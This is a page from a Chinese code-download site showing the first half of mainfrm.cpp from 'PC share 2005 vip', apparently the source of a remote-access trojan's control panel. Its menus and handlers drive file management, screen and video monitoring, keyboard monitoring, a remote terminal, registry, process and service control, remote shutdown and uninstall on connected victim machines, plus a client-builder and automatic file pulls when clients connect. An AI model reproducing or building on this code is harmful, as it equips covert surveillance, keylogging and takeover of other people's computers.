⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainfrm.cpp

📁 PC share 2005 vip源代码
💻 CPP
📖 第 1 页 / 共 2 页
字号:
// MainFrm.cpp : implementation of the CMainFrame class
//

#include "stdafx.h"
#include "PcShare.h"
#include "MainFrm.h"
#include "MySetupDlg.h"
#include "MyClientTitleDlg.h"
#include ".\mycreateclientdlg.h"
#include "MyClientProxy.h"
#include ".\mainfrm.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CMainFrame

GOLBALVALUE m_MainValue = {0};

IMPLEMENT_DYNCREATE(CMainFrame, CFrameWnd)

BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd)
	//{{AFX_MSG_MAP(CMainFrame)
	ON_WM_CREATE()
	ON_WM_SIZE()
	ON_COMMAND(ID_CLIENT_CREATE, OnClientCreate)
	ON_COMMAND(ID_CLIENT_FILE_MANAGER, OnClientFileManager)
	ON_UPDATE_COMMAND_UI(ID_CLIENT_FILE_MANAGER, OnUpdateClientFileManager)
	ON_COMMAND(ID_CLIENT_PC_RESTART, OnClientPcRestart)
	ON_UPDATE_COMMAND_UI(ID_CLIENT_PC_RESTART, OnUpdateClientPcRestart)
	ON_COMMAND(ID_CLIENT_PC_SHUTDOWN, OnClientPcShutdown)
	ON_UPDATE_COMMAND_UI(ID_CLIENT_PC_SHUTDOWN, OnUpdateClientPcShutdown)
	ON_COMMAND(ID_CLIENT_PRO_UNINSTALL, OnClientProUninstall)
	ON_UPDATE_COMMAND_UI(ID_CLIENT_PRO_UNINSTALL, OnUpdateClientProUninstall)
	ON_COMMAND(ID_GLOBAL_SETUP, OnGlobalSetup)
	ON_COMMAND(ID_HELP, OnHelp)
	ON_COMMAND(ID_ALIVE_HELP, OnAliveHelp)
	ON_WM_CLOSE()
	ON_UPDATE_COMMAND_UI ( ID_CLIENT_LINK_COUNT,OnUpdatePane )
	ON_COMMAND(ID_LIST_DELETE_ITEM, OnListDeleteItem)
	ON_UPDATE_COMMAND_UI(ID_LIST_DELETE_ITEM, OnUpdateListDeleteItem)
	ON_COMMAND(ID_LIST_EMPTY_ITEM, OnListEmptyItem)
	ON_UPDATE_COMMAND_UI(ID_LIST_EMPTY_ITEM, OnUpdateListEmptyItem)
	ON_COMMAND(ID_SAVE_LIST_LOG, OnSaveListLog)
	ON_UPDATE_COMMAND_UI(ID_SAVE_LIST_LOG, OnUpdateSaveListLog)
	ON_COMMAND(ID_FRAME_MONITOR, OnFrameMonitor)
	ON_UPDATE_COMMAND_UI(ID_FRAME_MONITOR, OnUpdateFrameMonitor)
	ON_COMMAND(ID_MODIFY_TITLE, OnModifyTitle)
	ON_UPDATE_COMMAND_UI(ID_MODIFY_TITLE, OnUpdateModifyTitle)
	ON_COMMAND(ID_REGEDIT, OnRegEdit)
	ON_UPDATE_COMMAND_UI(ID_REGEDIT, OnUpdateRegEdit)
	ON_COMMAND(ID_PROC, OnProc)
	ON_UPDATE_COMMAND_UI(ID_PROC, OnUpdateProc)
	ON_COMMAND(ID_SERVICE, OnService)
	ON_UPDATE_COMMAND_UI(ID_SERVICE, OnUpdateService)
	ON_COMMAND(ID_MUILT, OnMulit)
	ON_UPDATE_COMMAND_UI(ID_MUILT, OnUpdateMulit)
	ON_COMMAND(ID_MONITORKEY, OnMonitorKey)
	ON_UPDATE_COMMAND_UI(ID_MONITORKEY, OnUpdateMonitorKey)
	ON_WM_COPYDATA()
	ON_WM_CONTEXTMENU()
	ON_COMMAND(ID_CLIENT_PROXY, OnClientProxy)
	//}}AFX_MSG_MAP
	ON_MESSAGE(WM_ADDCLIENT,OnAddClient)
	ON_MESSAGE(WM_MYITEMCHANGED,OnMyItemChanged)
	ON_MESSAGE(WM_CLOSEITEM,OnCloseItem)
	ON_MESSAGE(WM_CLIENTMAINRCLICK,OnMainRClick)
	ON_COMMAND(ID_TLNT, OnTlnt)
	ON_UPDATE_COMMAND_UI(ID_TLNT, OnUpdateTlnt)
END_MESSAGE_MAP()

static UINT indicators[] =
{
	ID_SEPARATOR,           // status line indicator
	ID_CLIENT_LINK_COUNT,
};

/////////////////////////////////////////////////////////////////////////////
// CMainFrame construction/destruction

CMainFrame::CMainFrame()
{
	pEventView = NULL;
	pClientListView = NULL;
}

CMainFrame::~CMainFrame()
{
	
}

CSize CMainFrame::LoadMyBitmap(UINT nID)
{
	CDC * pDC = GetDC();
	CDC m_MemDC;
	m_MemDC.CreateCompatibleDC(pDC);
	CSize m_Size = pDC->GetTextExtent("刷新");
	ReleaseDC(pDC);
	CRect rect(0,0,60,32);
	CBitmap *pBitmap,*pOldBitmap;
	pBitmap = new CBitmap;
	pBitmap->LoadBitmap(nID);
	pOldBitmap = m_MemDC.SelectObject(pBitmap);
	TransParentDC(rect,&m_MemDC);
	m_MemDC.SelectObject(pOldBitmap);
	m_ToolBarList.Add(pBitmap,GetSysColor(COLOR_MENU));
	pBitmap->DeleteObject();
	delete pBitmap;
	return m_Size;
}

int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
	if (CFrameWnd::OnCreate(lpCreateStruct) == -1)
		return -1;

	if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
		| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
		!m_wndToolBar.LoadToolBar(IDR_MAINFRAME))
	{
		TRACE0("Failed to create toolbar\n");
		return -1;      // fail to create
	}

	if (!m_wndStatusBar.Create(this) ||
		!m_wndStatusBar.SetIndicators(indicators,
		  sizeof(indicators)/sizeof(UINT)))
	{
		TRACE0("Failed to create status bar\n");
		return -1;      // fail to create
	}

	m_ToolBarList.Create(60,32,ILC_COLOR24|ILC_MASK,10,10);
	CSize m_Size = 
	LoadMyBitmap(IDB_BITMAP_MANA);
	LoadMyBitmap(IDB_BITMAP_FRAME);
	LoadMyBitmap(IDB_BITMAP_TLNT);
	LoadMyBitmap(IDB_BITMAP_KEY);

	LoadMyBitmap(IDB_BITMAP_PROC);
	LoadMyBitmap(IDB_BITMAP_REGEDIT);
	LoadMyBitmap(IDB_BITMAP_SERVICE);
	LoadMyBitmap(IDB_BITMAP_MULIT);

	LoadMyBitmap(IDB_BITMAP_SETUP);
	LoadMyBitmap(IDB_BITMAP_CREATE);
	LoadMyBitmap(IDB_BITMAP_HELP);
	LoadMyBitmap(IDB_BITMAP_INDEX);
	
	m_wndToolBar.SetButtonText(0,"文件管理");
	m_wndToolBar.SetButtonText(1,"屏幕监控");
	m_wndToolBar.SetButtonText(2,"超级终端");
	m_wndToolBar.SetButtonText(3,"键盘监控");

	m_wndToolBar.SetButtonText(5,"进程管理");
	m_wndToolBar.SetButtonText(6,"注 册 表");
	m_wndToolBar.SetButtonText(7,"服务管理");
	m_wndToolBar.SetButtonText(8,"视频监控");

	m_wndToolBar.SetButtonText(10,"参数设置");
	m_wndToolBar.SetButtonText(11,"生成客户");
	m_wndToolBar.GetToolBarCtrl().SetImageList(&m_ToolBarList);
	m_wndToolBar.GetToolBarCtrl().SetDisabledImageList(&m_ToolBarList);
	m_wndToolBar.GetToolBarCtrl().SetButtonSize(
		CSize(60,32 + m_Size.cy + 4));
	m_wndToolBar.GetToolBarCtrl().SetBitmapSize(CSize(58,32));
	
	CMenu* mmenu = GetMenu();
	m_MainMenu.Attach(mmenu->GetSafeHmenu());
	SetMenu(&m_MainMenu);

 	//取主框架窗口句柄
	m_MainValue.m_MainhWnd = GetSafeHwnd();
	return 0;
}

/////////////////////////////////////////////////////////////////////////////
// CMainFrame diagnostics

#ifdef _DEBUG
void CMainFrame::AssertValid() const
{
	CFrameWnd::AssertValid();
}

void CMainFrame::Dump(CDumpContext& dc) const
{
	CFrameWnd::Dump(dc);
}

#endif //_DEBUG

/////////////////////////////////////////////////////////////////////////////
// CMainFrame message handlers


BOOL CMainFrame::OnCreateClient(LPCREATESTRUCT lpcs, CCreateContext* pContext) 
{
	if (!m_WndSplitter.CreateStatic(this, 2, 1,WS_CHILD | WS_VISIBLE))
		return FALSE;

	if (!m_WndSplitter.CreateView(0, 0, 
		RUNTIME_CLASS(CMyClientMainView),CSize(0, 0), pContext) ||
		!m_WndSplitter.CreateView(1, 0,
		RUNTIME_CLASS(CMyEventView),CSize(0, 300),pContext))
	{
		m_WndSplitter.DestroyWindow();
		return FALSE;
	}

	pClientListView = (CMyClientMainView*) m_WndSplitter.GetPane(0,0);
	pEventView = (CMyEventView*) m_WndSplitter.GetPane(1,0);
	return TRUE;
}

void CMainFrame::OnSize(UINT nType, int cx, int cy) 
{
	CFrameWnd::OnSize(nType, cx, cy);
	if(pClientListView != NULL && cx > 0)
	{
		m_WndSplitter.SetColumnInfo(0,cx * 1/4 + 9,0);
		m_WndSplitter.SetRowInfo(0,cy * 3/5 ,0);
		m_WndSplitter.RecalcLayout();
		UINT nID,nStyle;
		int Width;
		m_wndStatusBar.GetPaneInfo(1,nID,nStyle,Width);
		Width = cx * 1/6 - 15;
		m_wndStatusBar.SetPaneInfo(1,nID,nStyle,Width);

	}
}

void CMainFrame::OnClientCreate() 
{
	CMyCreateClientDlg dlg;
	dlg.DoModal();
}

void CMainFrame::OnClientPcRestart() 
{
	LPCLIENTITEM pItem = pClientListView->GetCurSel();
	if(pItem != NULL)
	{
		ProcessCmd(pItem->m_WorkSocket,
			CLIENT_SYSTEM_RESTART,NULL,0);
		DeleteCurItem();
	}		
}

void CMainFrame::OnUpdateClientPcRestart(CCmdUI* pCmdUI) 
{
	pCmdUI->Enable(pClientListView->
		GetListCtrl().GetSelectedCount() == 1);	
}

void CMainFrame::OnClientPcShutdown() 
{
	LPCLIENTITEM pItem = pClientListView->GetCurSel();
	if(pItem != NULL)
	{
		ProcessCmd(pItem->m_WorkSocket,
			CLIENT_SYSTEM_SHUTDOWN,NULL,0);
		DeleteCurItem();
	}	
}

void CMainFrame::OnUpdateClientPcShutdown(CCmdUI* pCmdUI) 
{
	pCmdUI->Enable(pClientListView->
		GetListCtrl().GetSelectedCount() == 1);	
}

void CMainFrame::OnClientProUninstall() 
{
	LPCLIENTITEM pItem = pClientListView->GetCurSel();
	if(pItem != NULL)
	{
		ProcessCmd(pItem->m_WorkSocket,
			CLIENT_PRO_UNINSTALL,NULL,0);
		DeleteCurItem();
	}
}

void CMainFrame::OnUpdateClientProUninstall(CCmdUI* pCmdUI) 
{
	pCmdUI->Enable(pClientListView->
		GetListCtrl().GetSelectedCount() == 1);	
}

void CMainFrame::OnGlobalSetup() 
{
	CMySetupDlg dlg;
	dlg.DoModal();
}

void CMainFrame::OnHelp() 
{
	PostMessage(WM_COMMAND,MAKEWPARAM(ID_APP_ABOUT,1),0);
}

void CMainFrame::OnAliveHelp() 
{
	ShellExecute(NULL,NULL,"./PcShare.chm",NULL,NULL,SW_SHOWMAXIMIZED);
}

LRESULT CMainFrame::OnAddClient(WPARAM wParam,LPARAM lParam)
{
	//查看连接是否超限
	char m_IniFileName[256] = {0};
	GetIniFileName(m_IniFileName);
	char m_sMaxLinkMain[100] = {0};
	GetPrivateProfileString("设置","最大客户连接数量",
		"999",m_sMaxLinkMain,99,m_IniFileName);
	if(pClientListView->GetListCtrl().GetItemCount() >
		atoi(m_sMaxLinkMain))
		return FALSE;

	//增加客户
	LPCLIENTITEM pItem = pClientListView->InsertItem((LPCLIENTITEM) wParam);
	
	//显示信息
	char m_Text[256] = {0};
	sprintf(m_Text,"客户【%s - %s】已经连接",
		pItem->m_Title,	pItem->m_SysInfo.m_PcName);
	ShowMyText(m_Text , FALSE);

	//查看是否有文件下载
	char m_FilePath[256] = {0};
	GetModuleFileName(NULL,m_FilePath,200);
	char *p = strrchr(m_FilePath,'\\');
	if(p != NULL) 
		*(p + 1) = 0;
	else
		return TRUE;
	strcat(m_FilePath,"data");
	char m_FileName[256] = {0};
	sprintf(m_FileName,"%s\\%s.ini",m_FilePath,pItem->m_SysInfo.ID);

	CFileStatus m_FileStatus;
	if(CFile::GetStatus(m_FileName,m_FileStatus))
	{
		if(m_FileStatus.m_size != 0)
		{
			//启动进程开始下载
			StartChildWork(pItem, "文件管理", CLIENT_FILES_START, "PcFile.exe");
		}
		else
			DeleteFile(m_FileName);
	}
	return TRUE;
}

void CMainFrame::StartWork()
{
	//连接主页

	//取INI文件名称
	char m_IniFileName[256] = {0};
	GetIniFileName(m_IniFileName);

	//取IP地址列表信息
	PHOSTENT hostinfo;
	char name[512] = {0};
	if(gethostname (name,sizeof(name)) != 0 ||
		(hostinfo = gethostbyname(name)) == NULL)
	{
		ShowMyText("取本地地址列表失败",TRUE);
		return;
	}
	CString m_AddrList;
	struct sockaddr_in dest;
	for(int i=0; hostinfo->h_addr_list[i] != NULL ;i++)
	{
		memcpy(&(dest.sin_addr), 
			hostinfo->h_addr_list[i],
			hostinfo->h_length);
		m_AddrList += inet_ntoa(dest.sin_addr);
		m_AddrList += "-";
	}
	char m_Text[512] = {0};

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -